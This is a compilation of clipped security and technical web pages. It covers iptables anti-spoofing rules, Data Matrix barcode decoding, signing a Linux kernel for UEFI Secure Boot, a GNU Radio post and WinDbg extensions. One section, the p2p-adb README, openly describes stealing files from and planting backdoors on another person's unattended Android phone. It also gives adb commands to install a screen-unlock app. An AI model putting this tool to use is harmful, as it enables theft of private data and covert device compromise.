    iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,URG URG -j DROP
    iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,FIN FIN -j DROP
    iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,PSH PSH -j DROP
    iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL ALL -j DROP
    iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL NONE -j DROP
    iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL FIN,PSH,URG -j DROP
    iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL SYN,FIN,PSH,URG -j DROP
    iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP
[/code]

#### Block Packets From Private Subnets \(Spoofing\)

[code]

    _subnets=("224.0.0.0/3" "169.254.0.0/16" "172.16.0.0/12" "192.0.2.0/24" "192.168.0.0/16" "10.0.0.0/8" "0.0.0.0/8" "240.0.0.0/5")
    
    for _sub in "${_subnets[@]}" ; do
      iptables -t mangle -A PREROUTING -s "$_sub" -j DROP
    done
    iptables -t mangle -A PREROUTING -s 127.0.0.0/8 ! -i lo -j DROP
[/code]

  

# linsacheatsheet.pdf \(application/pdf Object\)

**Created:**| _5/9/2009 10:48:30 AM_  
---|---  
**Updated:**| _5/9/2009 10:48:40 AM_  
**Author:**| __  
**Tags:**| _cheat sheets_  
  

# Feature Column from the AMS

**Created:**| _2/1/2010 5:39:02 PM_  
---|---  
**Updated:**| _2/1/2010 5:39:11 PM_  
**Author:**| __  
**Tags:**| _crypto visualization_  
  
|

# Crypto Graphics

In this article, I'll just describe how to unpack the simplest outermost level
of security...  
Bill Casselman  
University of British Columbia, Vancouver, Canada  
cass at math.ubc.ca<img src='img/Temp2_3116.gif' width='24' height='11' /> | <img src='img/Temp2_3106.gif' width='35' height='26' alt='Email to a friend' />Mail to a friend| <img src='img/Temp2_3119.gif' width='35' height='28' alt='Print this article' />Print this article  
---|---  
### Introduction

A new generation of \`bar codes' is becoming ubiquitous, at least in the
Western world. One principal motivation for this has been to foil
counterfeiting, for example the counterfeiting of postage stamps. Many
countries of Europe as well as Canada and the United States have implemented
this scheme, although details vary from one country to the next.

<img src='img/Temp2_3123.gif' /> <img src='img/Temp2_3126.gif' /><img
src='img/Temp2_3113.gif' /> <img src='img/Temp2_3124.gif' />

In the near future, all pharmaceutical products sold in Europe will require
similar authentication. There are other uses in packaging as well, although it
is not clear to me what their purpose is.

<img src='img/Temp2_3128.gif' />

In addition, correspondence from the IRS and monthly bills frequently include
data matrices but here, too, the purpose is not known to me.

<img src='img/Temp2_3109.gif' /> <img src='img/Temp2_3127.gif' />

Data matrices are not actually bar codes, which are one-dimensional. Instead,
they \(as well as nearly all of the new generation of similar code schemes\)
present a rather complicated 2D array. There are other candidates for 2D
coding, but data matrices are among the most interesting. The advantage of 2D
over 1D should be obvious - a 2D array can pack much more information in a
small space. There is so much capacity, in fact, that there is room for extra
bits of information to allow efficient error correction, which is a tremendous
advantage. The largest allowable data matrix has dimensions ** _144 x 144_** ,
and allows ** _1558_** bytes of message to be transmitted, with up to **
_620_** errors correctable. This is an impressive amount of information.
Looking at the sample images of postage stamps above, where cancellation and
poor printing quality clearly causes trouble, will convince you that the
system wouldn't be at all feasible without error correction.

In reading a data matrix, there are several layers that have to be peeled away
and interpreted, and in many - for example postage and pharmaceutical
authentication - the final layer to be seen is encrypted at the most
sophisticated level of security currently available. In this article, I'll
just describe how to unpack the simplest outermost level.

### Assembling the bytes

Every data matrix encodes an array of bytes, which may roughly be considered
as the smallest interpretable units inside computers. Each byte is an array of
** _8_** bits, or in geometric terms ** _8_ pixels**. Colored pixels represent
_**1**_ , uncolored represent ** _0_**. The basic interpretation of each byte
is as a non-negative integer expressed in base ** _2_**. Since ** _2 8 =
256_**, it therefore represents a number in the range ** _\[0, 255\]_**. Bytes
in the lower half of this range are commonly interpreted more specifically as
alphabetic, numeric, and other characters that appear on computer keyboards.
How bytes in a data matrix are interpreted depends on context.

The first question, however, is  _how is the array of bytes to be found?_ I'll
next answer this, and then suggest an explanation for what might appear at
first to be an eccentric choice. The simplest feature of data matrices is that
they are made up of one or more regions, each of which is bounded by a fixed
pattern of pixels - solid at left and bottom, alternating coloured and blank
at right and top. Most of the postage stamp examples are made up of ** _2 x
2_** regions like this, although the **presorted first class mail **example is
** _1 x 2_** , the bill \(above\) is upside down, and the ice cream carton
matrix is made up of just one such region, as shown on the left below:

<img src='img/Temp2_3122.gif' /> <img src='img/Temp2_3108.gif' />

The point of these **peripheral pixels** or frame is to make it possible for
devices intended to read the matrix to align themselves correctly. If the
periphery is stripped away, we are left with the **core pixels** , which
contain the real message \(as on the right above\). What remains to be done is
locate the bytes making up the message. This is non-trivial, and depends on
the dimensions of the data matrix. Nearly all bytes have the shape of a bitten
square, and its bits are numbered right to left, bottom to top:

<img src='img/Temp2_3120.gif' /> <img src='img/Temp2_3112.gif' />

The byte at the left above therefore corresponds to the base ** _2_** number
** _10001101_** , in decimal format ** _128 + 8 + 4 + 1 = 141_**. As suggested
in the diagram at right, the **origin pixel** of a byte is at its lower right,
corresponding to bit ** _0_** , and what I call its  _geometric_ origin is the
point at the upper left of that pixel. The bytes are generally laid out in a
lattice, starting at the upper left of the matrix. The counting always begins
the same, no matter what the dimensions are. Right from the very beginning,
however, bytes can fall outside the matrix. We'll see in a moment how to deal
with that problem.

<img src='img/Temp2_3117.gif' />

But after the first few bytes, how the bytes are located depends on the matrix
dimensions. Here we see what happens for the ice cream carton. The **nominal
layout** of bytes is shown at left below, the way in which bytes extending
beyond the matrix are handled by wrapping around on the far side \(generally
with a shift\) is shown in the middle, and the numbering of bytes is shown at
right:

<img src='img/Temp2_3125.gif' /> <img src='img/Temp2_3115.gif' /> <img
src='img/Temp2_3110.gif' />

This makes the array of bytes to be ** _77, 163, 217, 130, 129, 158, 165, 15,
3, 65, 111, 68_**. We'll see later some idea of what that array means.

In general, the order in which the bytes are counted is by traversing
alternately up and down along diagonals, moving roughly left to right. A byte
is usually counted when its origin pixel is contained in the matrix, but as we
shall see in a moment there are rare exceptions to this rule.

The allowable dimensions of matrices are limited to a list of ** _30_**. Most
are square, but a few are rectangular. How bytes are located depends on the
particular dimensions, but the layout of bytes \(i.e. bitten squares\) in the
core matrix is periodic with period ** _8_** , so in fact this process reduces
to a few small cases. Say ** _r_** is the number of rows in the core matrix,
** _c_** the number of columns. I'll look at square matrices first, for which
** _r=c_**. If ** _r = c = 0_** modulo ** _8_** , there is absolutely no
problem, as on the left below:

<img src='img/Temp2_3105.gif' /> <img src='img/Temp2_3121.gif' />

If ** _r = c = 2_** modulo ** _8_** , there is only a minor problem. The
number of pixels ** _rc_** is not divisible by ** _8_** , so there have to be
pixels that are not associated to any byte. These occupy the** _2 x 2_**
square at the lower right of the matrix, as on the right above.

If ** _r = c = 4_** or ** _6_** modulo ** _8_** , then there is no completely
clear way to assign the location for exactly one of the bytes, no obvious way
to assign bits within that byte, and no obvious way to assign the order of the
exceptional byte in the total array. In each of the figures below, a candidate
nominal origin pixel is uncolored, the ordering is indicated by a colored
origin circle, and the bit order within the exceptional bytes \(rather
arbitrary\) is also shown. Thus in both matrices just below the exceptional
byte is number ** _8_**.

<img src='img/Temp2_3114.gif' /> <img src='img/Temp2_3118.gif' />

The same problem occurs for rectangular matrices as well. On the left below
the exceptional byte is the last one, and on the right it is the first.

<img src='img/Temp2_3104.gif' /> <img src='img/Temp2_3107.gif' />

The way in which bytes are stored as bitten squares might seem a bit peculiar,
but if you think about how errors occur in the transmission of data matrices
\(for example poor printing, postage cancellation\), it makes sense. The
scheme is designed so that the minimum number of bytes are affected by such
errors. Other features \(the funny way in which \`unrandomization' is
applied\) are not so clearly advantageous, and are pretty much a mystery to
me.

### Interpreting the bytes

The second question now is  _how is the array of bytes now assembled to be
interpreted?_ The first thing to realize is that the last several bytes are
part of the error correction mechanism, and the remaining initial segment is
the message transmitted. Exactly how many are error correction bytes depends
on the dimensions of the matrix - for a ** _12 x 12_** matrix there are **
_12_** bytes in all, ** _5_** of which make up the message and ** _7_** of
which are for error correction. \(For larger matrices the ratio is more
satisfactory.\) The error correction bytes are used to check if the message
has been distorted, and if so, they can be used to correct the error to some
extent. After this stage, one is left with the message itself. For this, there
are several different modes of interpretation. I'll discuss just exactly two,
which seem to be the most common ones.

**ASCII mode**. This is the default mode - every data matrix starts off in
this mode. How to interpret some of the bytes in the range ** _\[0, 255\]_**
is shown in the table below. Roughly speaking, bytes in the range **
_\[0,128\]_** are interpreteted as ASCII characters, those in the range **
_\[130,229\]_** are interpreted as two-digit numbers, and many of the rest as
indicating a shift to another mode.

Byte ** _b n_** | Interpretation of ** _b n_**  
---|---  
**_1 - 128_**|  as ASCII character ** _b n-1_**  
**_129_**|  the first character of padding that will continue to the end of
the message  
**_130 - 229_**|  pair of digits ** _00 - 99_** with numerical value ** _b n
\- 130_**  
**_231_**|  escape to BASE256 mode  
Following a byte ** _b n = 231_** are one or two bytes indicating the length
of the segment to be read in BYTE256 mode. Exactly how the bytes of the
segment of BYTE256 mode, including its length, are to be read is curiously
technical, as we'll see a bit later.

At any rate, following this scheme, let's look at the message on the ice cream
carton, which is the sequence of ** _5_** bytes ** _77, 163, 217, 130, 129_**.
The last byte is padding, so the message is really only ** _4_** bytes. The
first byte ** _77_** is in the low range, so to be read as ASCII character **
_L_**. The next three are in the range of two-digit numbers, so to be read as
** _163-130 = 33_** , ** _217-130 = 87_** , and ** _130-130 = 0_**. But what
significance the sequence ** _M, 33, 87, 0_** has to anyone is a mystery to
me. This is common enough in this sort of thing - data matrices are often
meant to have obscure significance apparent only to a select few. In the case
of postal systems and pharmaceutical products, the final message is to be
interpreted according to the rules of one-way public key crytography, so that
authenticity may be checked but not counterfeited.

**BASE256 mode**. In this mode, there is no special meaning to any of the
possible bytes - interpretation is up to the user. Becuase of this, there is
no way to tell when the segment has come to an end, and the length of the
segment in this mode must be specified at the start.

There is one trick used throughout this mode, including the one or more bytes
indicating this length, called **unrandomized 255** reading. In this mode of
reading, byte ** _b n_** is converted to another byte ** _v n_** according to
the formulas

**_r = \(\(149\*\(n+1\)\) modulo 255\) + 1  
vn = \(bn-r\) modulo 256_**  
---  
Here is what happens after a ** _231_** in ASCII mode: \(1\) the next byte **
_b n_** is read and converted to ** _v n_** according to this
**unrandomization** process. If this is ** _< 250_**, then the length of bytes
to be interpreted in BYTE256 mode is just ** _v n_**. But if ** _v n ≥ 250_**,
we get the next value ** _v n+1_** as well. The length is then ** _\(v n \-
249\).250 + vn+1_**.

Let's look at an example. Suppose the byte array of a data matrix reads **
_231, 63, 40, 198, 96 ... _**The byte ** _b 0 = 231_** means that we are
immediately put into BYTE256 mode. The next byte ** _b 1 = 63_** is converted
by unrandomization:

**_r = \(149.2 + 1\) = 44 \(mod 255\)  
v1 = 63 - 44 = 19_**  
---  
\(where the dots represent multiplication\). Therefore we are now to read **
_19_** bytes in BASE256 mode. The byte ** _v 2_** is calaculated:

**_r = \(149.3 + 1\) = 193  
v2 = 40 - 193 modulo 256 = 103_**  
---  
which in this particular message is to be converted to the ASCII character **
_g_**. The next byte ** _b 3_** is converted to ** _o_** , the next ** _b 4_**
to ** _t_** , etc.

A conversion to BASE256 mode is commonly encountered, in particular with all
postal systems I have looked at.

### To find out more ...

  * The Wikipedia entry **http://en.wikipedia.org/wiki/Barcode** offers a useful survey of various kinds of bar codes, in particular a nice collection of images of various types.
  * Japan has generally adopted a variant 2D code known as QR code. It has achieved some notoriety, as you can see from the world's largest QR code symbol and what can apparently be found in cemeteries.
  * Gerrit Bleumer, **Electronic postage systems: technology, security, economics** , Springer, 2007.   
This is the only printed book that I know of that discusses the postal use of
data matrices. The Royal Mail web site illustrates one modern use of data
matrices in postage, and the Deutsche Post web site illustrates another.

  * As far as low-level reading of data matrix symbols goes, one thing that is presumably essential for professional work is the ISO specification, which you can find by searching for ISO/IEC 16022-2006 at **http://www.iso.org/iso/** but it costs real money \(224 Swiss francs\!\), and I have not had a chance to see it.
  * The Wikipedia entry for **data matrix** at **http://en.wikipedia.org/wiki/Data\_ matrix\_\(computer\)** is helpful, but doesn't have much detail.
  * The web page **http://www.bcgen.com/datamatrix-barcode-creator.html** has an interactive application that will allow you to create data matrix symbols from text you type in. As far as technical details are concerned, links to pages on data matrices can be found at **http://grandzebu.net/  
**Follow links to the English version of barcodes, then to \`data matrix'.

  * Another good source of information is **http://www.libdmtx.org/**, which provides programs in ** _C_** for reading and writing data matrices. This combined with the `grandzebu` site makes a fairly practical source for programming.
  * The ** _12 x 12_** symbol on the ice cream carton has analogues on other groceries, as you can see at **http://www.flickr.com/photos/nickj365/**. Is there a single company ultimately responsible for this phenomenon?

Bill Casselman  
University of British Columbia, Vancouver, Canada  
cass at math.ubc.ca<img src='img/Temp2_3116.gif' width='24' height='11' />

Those who can access JSTOR can find some of the papers mentioned above there.
For those with access, the American Mathematical Society's MathSciNet can be
used to get additional bibliographic information and reviews of some these
materials. Some of the items above can be accessed via the ACM Portal , which
also provides bibliographic services.  
<img src='img/Temp2_3111.gif' width='18' alt=' ' />

# Illumintating the Security Issues with Lights-Out Server Management

**Created:**| _10/29/2013 1:01:20 PM_  
---|---  
**Updated:**| _10/29/2013 1:01:55 PM_  
**Author:**| _wishi_  
**Tags:**| _hardware conference-material infrastructure backdoor vlan_  
  
<img src='img/bonkoski_woot13_slides.pdf' />

# booting a self-signed Linux kernel - Linux Kernel Monkey Log

**Created:**| _9/8/2013 4:59:46 PM_  
---|---  
**Updated:**| _9/8/2013 4:59:46 PM_  
**Author:**| __  
**Tags:**| _hardware crypto_  
  

# **B** ooting a Self-signed Linux Kernel****

Sep 2nd, 2013

Now that The Linux Foundation  is a member of the UEFI.org  group, I’ve been
working on the procedures for how to boot a self-signed Linux kernel on a
platform so that you do not have to rely on any external signing
authority**.**

After digging through the documentation out there, it turns out to be
relatively simple in the end, so here’s a recipe for how I did this, and how
you can duplicate it yourself on your own machine**.**

## We don’t need no stinkin bootloaders**\!**

When building your kernel image, make sure the following options are set:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
[/code]

|

[code]

    CONFIG_EFI=y
    CONFIG_EFI_STUB=y
    ..**.**
    CONFIG_FB_EFI=y
    ...
    CONFIG_CMDLINE_BOOL=y
    CONFIG_CMDLINE="root=..**.** "
    ...
    CONFIG_BLK_DEV_INITRD=y
    CONFIG_INITRAMFS_SOURCE="my_initrd.cpio"
[/code]  
---|---  
The first two options here enable EFI mode, and tell the kernel to build
itself as a EFI binary that can be run directly from the UEFI bios**.** This
means that no bootloader is involved at all in the system, the UEFI bios just
boots the kernel, no “intermediate” step needed at all**.** As much as I love
gummiboot , if you trust the kernel image you are running is “correct”, this
is the simplest way to boot a signed kernel**.**

As no bootloader is going to be involved in the boot process, you need to
ensure that the kernel knows where the root partition is, what init is going
to be run, and anything else that the bootloader normally passes to the kernel
image**.** The option listed above, `CONFIG_CMDLINE` should be set to whatever
you want the kernel to use as the command line**.**

Also, as we don’t have an initrd passed by the bootloader to the kernel, if
you want to use one, you need to build it into the kernel itself**.** The
option `CONFIG_INITRAMFS_SOURCE` should be set to your pre-built cpio
initramfs image you wish to use**.**

Note, if you don’t want to use an initrd/initramfs, don’t set this last
option**.** Also, currently it’s a bit of a pain to build the kernel, build
the initrd using `dracut` with the needed dracut modules and kernel modules,
and then rebuild the kernel adding the cpio image to the kernel image**.**
I’ll be working next on taking a pre-built kernel image, tearing it apart and
adding a cpio image directly to it, no need to rebuild the kernel**.**
Hopefully that can be done with only a minimal use of `libbfd`

After setting these options, build the kernel and install it on your boot
partition \(it is in FAT mode, so that UEFI can find it, right**?**\) To have
UEFI boot it directly, you can place it in `/boot/EFI/boot/bootx64.efi`, so
that UEFI will treat it as the “default” bootloader for the machine**.**

## Lather, rinse, repeat****

After you have a kernel image installed on your boot partition, it’s time to
test it**.**

Reboot the machine, and go into the BIOS**.** Usually this means pounding on
the `F2` key as the boot starts up, but all machines are different, so it
might take some experimentation to determine which key your BIOS needs**.**
See this post from Matthew Garrett  for the problems you might run into trying
to get into BIOS mode on UEFI-based laptops**.**

Traverse the BIOS settings and find the place where UEFI boot mode is
specified, and turn it the “Secure Boot” option OFF**.**

Save the option and reboot, the BIOS should find the kernel located at
`boot/EFI/boot/bootx64.efi` and boot it directly**.** If your kernel command
line and initramfs \(if you used one\) are set up properly, you should now be
up and running and able to use your machine as normal**.**

If you can’t boot properly, ensure that your kernel command line was set
correctly, or that your initramfs has the needed kernel modules in it**.**
This usually takes a few times back and forth to get all of the correct
settings properly configured**.**

Only after you can successfully boot the kernel directly from the BIOS, in
“insecure” mode should you move to the next step**.**

## Keys to the system****

Now that you have a working kernel image and system, it is time to start
messing with keys**.** There are three different types of UEFI keys that you
need to learn about, the “Platform Key” \(known as a “PK”\), the “Key-Exchange
Keys” \(known as a “KEK”\), and the “Signature Database Key” \(known as a
“db”\)**.** For a simple description of what these keys mean, see the Linux
Foundation Whitepaper about UEFI Secure boot , published back in 2011**.** For
a more detailed description of the keys, see the UEFI Specification
directly**.**

For a _very_ simple description, the “Platform Key” shows who “owns and
controls” the hardware platform**.** The “Key-Exchange keys” shows who is
allowed to update the hardware platform, and the “Signature Database keys”
show who is allowed to boot the platform in secure mode**.**

If you are interested in how to manipulate these keys, replace them, and do
neat things with them, see James Bottomley’s blog  for descriptions of the
tools you can use and much more detail than I provide here**.**

To manipulate the keys on the system, you need the the UEFI keytool USB image
from James’s website called sb-usb.img  \(md5sum
7971231d133e41dd667a184c255b599f\)**.** `dd` the image to a USB drive, and
boot the machine into the image**.**

Depending on the mode of the system \(insecure or secure\), you will be
dropped to the UEFI console, or be presented with a menu**.** If a command
line, type `KeyTool` to run the keytool binary**.** If a menu, select the
option to run `KeyTool` directly**.**

### Save the keys****

First thing to do, you should save the keys that are currently on the system,
in case something “bad” ever happens and you really want to be able to boot
another operating system in secure mode on the hardware**.** Go through the
menu options in the `KeyTool` program and save off the PK, KEK, and db keys to
the USB drive, or to the hard drive, or another USB drive you plug into the
system**.**

Take those keys and store them somewhere “safe”**.**

### Clear the machine****

Next you should remove all keys from the system**.** You can do this from the
`KeyTool` program directly, or just reboot into the BIOS and select an option
to “remove all keys”, if your BIOS provides this \(some do, and some
don’t**.**\)

### Create and install your own keys****

Now that you have an “empty” machine, with the previous keys saved off
somewhere else, you should download the `sbsigntool` and `efiutil` packages
and install them on your development system**.** James has built all of the
latest versions of these packages in the openSUSE build system  for all RPM
and DEB-based Linux distros**.** If you have a Gentoo-based system, I have
checked the needed versions into portage, so just grab them directly from
there**.**

If you want to build these from source, the `sbsigntool` git tree can be found
here , and the `efitools` git tree is here **.**

The `efitools` README  is a great summary of how to create new keys, and here
is the commands it says to follow in order to create your own set of keys:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    
[/code]

|

[code]

    # create a PK key
    openssl req -new -x509 -newkey rsa:2048 -subj "/CN=my PK name/" -keyout PK.key -out PK.crt -days 3650 -nodes -sha256
    
    # create a KEK key
    openssl req -new -x509 -newkey rsa:2048 -subj "/CN=my KEK name/" -keyout KK.key -out KK.crt -days 3650 -nodes -sha256
    
    # create a db key
    openssl req -new -x509 -newkey rsa:2048 -subj "/CN=my db name/" -keyout db.key -out db.crt -days 3650 -nodes -sha256
[/code]  
---|---  
The option `-subj` can contain a string with whatever name you wish to have
for your key, be it your company name, or the like**.** Other fields can be
specified as well to make the key more “descriptive”**.**

Then, take the PK key you have created, turn it into a EFI Signature List
file, and add a GUID to the key:

[code]

    1
    
[/code]

|

[code]

    cert-to-efi-sig-list -g <my random guid> PK.crt PK.esl
[/code]  
---|---  
Where `my random guid` is any valid guid  you wish to use \(I’ve seen some
companies use all ‘5’ as their guid, so I’d recommend picking something else a
bit more “random” to make look like you know what you are doing with your
key…\)**.**

Now take the EFI Signature List file and create a signed update file:

[code]

    1
    
[/code]

|

[code]

    sign-efi-sig-list -k PK.key -c PK.crt PK PK.esl PK.auth
[/code]  
---|---  
For more details about the key creation \(and to see where I copied these
command lines from\), see James’s post about owning your own Windows 8
platform **.**

Take these files you have created, put them on a USB disk, run the `KeyTool`
program and use it to add the db, KEK, and PK keys into the BIOS**.** Note,
apply the PK key last, as once it is installed, the platform will be “locked”
and you should not be able to add any other keys to the system**.**

## Fail to boot****

Now that your own set of keys is installed in the system, flip the BIOS back
into “Secure boot” mode, and try to boot your previous-successful Linux image
again**.**

Hopefully it should fail with some type of warning, the laptop I did this
testing on provides this “informative” graphic:

<img src='img/Temp2_10111.jpg' />

## Sign your kernel****

Now that your kernel can’t boot, you need to sign it with the db key you
placed in your bios:

[code]

    1
    
[/code]

|

[code]

    sbsign --key db.key --cert db.crt --output bzImage bzImage.signed
[/code]  
---|---  
Take the `bzImage.signed` file and put it back in the boot partition, copying
over the unsigned `/boot/EFI/boot/bootx64.efi` file**.**

## Profit\!

Now, rebooting the machine should cause the UEFI bios to check the signatures
of the signed kernel image, and boot it properly**.**

I’ve recorded a video of a Gateway laptop booting a signed kernel, with my own
key, here **.** The demo tries to boot an unsigned kernel image that is on the
hard disk, but it fails**.** I plug in a signed kernel that is on the USB
disk, and it properly boots**.**

I did the test with a CoreOS image  as it provides a very small self-contained
Linux system that allows for easy testing/building from a development
machine**.**

## Future plans****

Now that you have full control over your system, running only a Linux kernel
image that you sign yourself, a whole raft of possibilities open up**.**
Here’s a few that I can think off of the top of my head:

  * Linux signed system self-contained in the kernel image \(with initramfs\) booting into ram, nothing on the disk other than the original kernel image**.**
  * Signed kernel image initramfs validates the other partitions with a public key to ensure they aren’t tampered before mounting and using them \(ChromeOS does this exact thing quite well\)**.** This passes the “chain of trust” on to the filesystem image, giving you assurances that you are running code you trust, on a platform you trust**.**
  * Combine signed kernel images with TPM key storage to unlock encrypted partitions**.**

If you are interested in these types of things, I’ll be at the Linux Plumbers
Conference  in a few weeks, where a bunch of people will be discussing secure
boot issues with Linux**.** I’ll also be at LinuxCon North America , Europe ,
and Korea  if you want to talk about UEFI and Linux issues there**.**

****

# kosborn/p2p-adb

**Created:**| _8/16/2012 9:25:18 AM_  
---|---  
**Updated:**| _8/16/2012 9:25:18 AM_  
**Author:**| __  
**Tags:**| _Debugging android_  
  

# p2p-adb

**Phone-2-Phone adb - A project for "debugging" phones... from other phones.**

A set of scripts to assist in pulling data, making system changes, etc, with
minimal user input.

## Goal/Reason

Attacking another device by plugging directly into it has always been
something I thought would be movie hacker cool.

The real idea is that: Someone leaves their phone at the table, locked, and
only for a few minutes. You pull your phone out, plug them together, and hope
to god that have USB debugging enabled \(all custom ROMs do.\) Slurp down
their files, stick your own backdoors there, and you're set to go\!

Took me about 45 seconds to copy over 62MB of com.android.google.\* databases
and user\_prefs files \(from encrypted Galaxy Nexus to unencrypted Galaxy
Nexus, but running AOKP Milestone 5\).

## Requirements

Most of the scripts should be doable by both PC and an Android phone.

**Note:** This was designed for sh \(not bash/dash/ksh/etc\). I can't
guarentee functionality will work across the shells.

Android requires:

  * An install has/supports adb \(I don't believe stock comes with adb, otherwise you could probably add it\)
  * An install that supports USB host mode
  * A phone that supports USB host mode \(hardware support\)
  * Root
  * A terminal emulator
  * Probably a USB On the Go cable

PC requires

  * Android SDK \(specifically\)
  * adb needs to be in $PATH
  * Something that will interpret shell \(I'm looking at you, Windows users\)

## Running

  * Copy to phone
  * `su`
  * `sh ./run.sh`
  * profit

I haven't fully tested against all ROMS/busybox versions yet, but what I know
this works agains:

  * AOKP Milestone 5
  * Busybox 1.20.0

As necessary, I'll start expanding and building checks against certain
ROMs/toolkit versions to crate maximum damage.

## AntiGuard

AntiGuard is an Android app I wrote that will assist you in unlcoking a phone.
Since ADB doesn't always give you root, you might be limited in what you can
do. However, the standard ADB shell user is also very powerful.

  * To install AntiGuard, you simply need to run
    * `adb install AntiGuard/AntiGuard.apk`
  * To unlock the screen once install
    * `adb shell am start -S io.kos.antiguard/.unlock`
  * To uninstall, hit the uninstall button, or run this command
    * `adb ununinstall io.kos.antiguard`

In the future, this will be rolled into the automated script toolset.

# Re: \[Discuss-gnuradio\] 100 Msps FPGA code for USRP N210

**Created:**| _1/22/2012 7:28:10 PM_  
---|---  
**Updated:**| _1/22/2012 7:28:10 PM_  
**Author:**| __  
**Tags:**| _research DSP_  
  

## Re: \[Discuss-gnuradio\] 100 Msps FPGA code for USRP N210

* * *
**From** : |  Jeffrey Lambert  
---|---  
**Subject** : |  Re: \[Discuss-gnuradio\] 100 Msps FPGA code for USRP N210  
**Date** : |  Fri, 18 Mar 2011 17:02:03 -0400  
**User-agent** : |  Mozilla/5.0 \(Windows; U; Windows NT 6.1; en-US; rv:1.9.2.15\) Gecko/20110303 Thunderbird/3.1.9  
* * *
`I am curious if anything like this is available for the USRP version 1, ``for
anyone who might know. `

[code]

    
[/code]

`As a random side note, it would be interesting if future versions of the
``USRP contained off-board RAM chips for data buffering for just this
``purpose. The reason I suggest this is for making the USRP more usable ``in
RADAR applications. Universal RADAR Peripheral, anyone? `

[code]

    
    On 3/18/2011 3:09 PM, Marc Epard wrote:
    
[/code]

> `I posted this to the USRP users list since we're not using GNU Radio
> ``proper for this project, but Devin's questions about spectrum sensing
> ``make me think it could be useful for GNU USRP users, too. Although we
> ``did this on the N210, it might be possible to do something similar on
> ``the USRP2. `
[code]

>  
[/code]

> `We've customized an FPGA image for the N210 that lets us grab batches ``of
> 256K complex samples (one SRAM full) at 100 Msps with no ``decimation,
> scaling, or downconversion. It works by filling the SRAM ``with samples at
> full rate, then dribbling them out the Ethernet in the ``normal fashion. I
> posted the ISE project, Verilog code, and a built ``image at
> https://public.me.com/mepard. You'll also find some examples ``of
> visualizing the spectrum data there. I'm particularly fond of the ``movie. `
[code]

>     Some things you should know:
>  
>  
[/code]

> `* It cannot be used to transmit. Transmit support used the SRAM, which ``I
> needed to buffer the received samples. `
[code]

>     * It works with the current UHD firmware and host code.
>  
[/code]

> `* When you issue_stream_cmd, request no more than 2^18 samples, the ``size
> of the SRAM. You can issue another stream command later to get ``another
> batch, but you can't get more than 256K contiguous samples. ``* The rx
> sample rate is ignored. For good measure, I set it to the ``usual maximum of
> 25 Msps. ``* Since there's no downconversion, you'll only get whatever
> center ``frequencies the daughterboard supports and you can't use LO
> offsets. `
[code]

>  
[/code]

> `The uhd_streamer.cpp app, also posted, is what we've used to do our
> ``testing. `
[code]

>     Enjoy.
>  
>     -Marc
>  
>  
>     _______________________________________________
>     Discuss-gnuradio mailing list
>     address@hidden
>     http://lists.gnu.org/mailman/listinfo/discuss-gnuradio
>  
[/code]

[code]

    
    --
    ~Jeffrey Lambert, K1VZX
    
[/code]

# The NT Insider:The Basics of Debugger Extensions: Short Term Effort, Long
Term Gain

**Created:**| _1/18/2011 9:55:56 AM_  
---|---  
**Updated:**| _1/18/2011 9:56:06 AM_  
**Author:**| __  
**Tags:**| _programming windbg_  
  
**The Basics of Debugger Extensions: Short Term Effort, Long Term Gain**  
OSR StaffThe NT Insider, Volume 17, Issue 2 , July-August 2010 | Published: 05-Aug-10| Modified: 05-Aug-10   

In order to talk about debugger extensions, we need to first talk about the
Debugger Engine library, \(DbgEng\). DbgEng is a generic interface that can be
used to manipulate various debuggingtargets, which can be things such as crash
dumps, a live kernel, an application, etc. The library provides access to all
of the types of actions that you might want to perform on a debugging target,
such as setting or clearing breakpoints, reading or writing memory,
translating addresses into symbolic debugging information, receiving events
from the target, and so on.

The DbgEng library is quite flexible and can actually be used in standalone
applications. If you wrote an application that exported all of the features of
the DbgEng library, you’d end up with a debugger exactly like WinDBG or KD
because, well, that’s what they are. In addition, the DbgEng library is what
we’re going to talk to when we write our debugger extensions. Thus, in effect
we have the same API set but two different uses. This can lead to a fair
amount of confusion if you start looking through the WinDBG SDK samples
because there’s a mix of applications and extensions supplied. If you’re not
aware of this fact it can be difficult to find a sample to get started with.

**Sessions**

In either case, DbgEng relies on the concept of sessions. In order to examine
or manipulate the target, a debugging session must be active. When a debug
event is raised from the target, the target may become acquiredat which point
the debug session is active. The application or extension is now allowed to
perform whatever options it wants against the target. Once finished with the
target, it must be released, at which point the session is no longer active
and operations are no longer allowed against the target.

Aside from sessions, the other major concept to learn about DbgEng is the set
of objects that are available to the application or extension. The objects
supplied are broken down into two basic categories: client objects and
callback objects.

**Client Objects**

Client objects are used to interact with the debugger engine and provide
access to all of the available DbgEng APIs used to manipulate the target via
COM interfaces. The way this works is that each client object provides a
QueryInterface method that is used to create instances of the various COM
interfaces. So, for example, if you wanted to set a breakpoint on the target,
you’d call the QueryInterface method on a client object to retrieve an
instance of the COM interface that exports the set breakpoint API. Sounds a
little scary, but it’s going to turn out to be straightforward so don’t worry.
The list of available client COM interfaces and their uses are as follows:

  * · IDebugAdvanced – Thread context, source server, and some symbol information
  * · IDebugClient – Connect to targets, register input/output callbacks, register debugger event callbacks, etc.
  * · IDebugControl – Evaluate expressions, disassemble, execute commands, add/remove breakpoints, get input, send output, etc.
  * · IDebugDataSpaces – Read/write virtual memory, physical memory, I/O ports, MSRs, etc.
  * · IDebugRegisters – Read/write pseudo and hardware registers
  * · IDebugSymbols – Type information, module information, source file information, etc.
  * · IDebugSystemObjects – Thread, process, and processor information

Callback Objects

As their name implies, callback objects export the COM interfaces necessary to
receive notifications of events happening on the target. There are three types
of callback objects: input objects, output object, and debugger event objects.
These allow you to scan the input supplied to the debugger engine from the
user as well as the output of any debugger commands or the debugging target.
In addition to this, callback objects provide a way to receive notification of
process creation, thread creation, breakpoints, etc. The list of available
callback COM interfaces and their uses are as follows:

  * · IDebugInputCallbacks – Receive notification of the engine waiting for user input
  * · IDebugOutputCallbacks – Receive notification of output being sent to debugger engine
  * · IDebugEventCallbacks – Receive notification of debug events

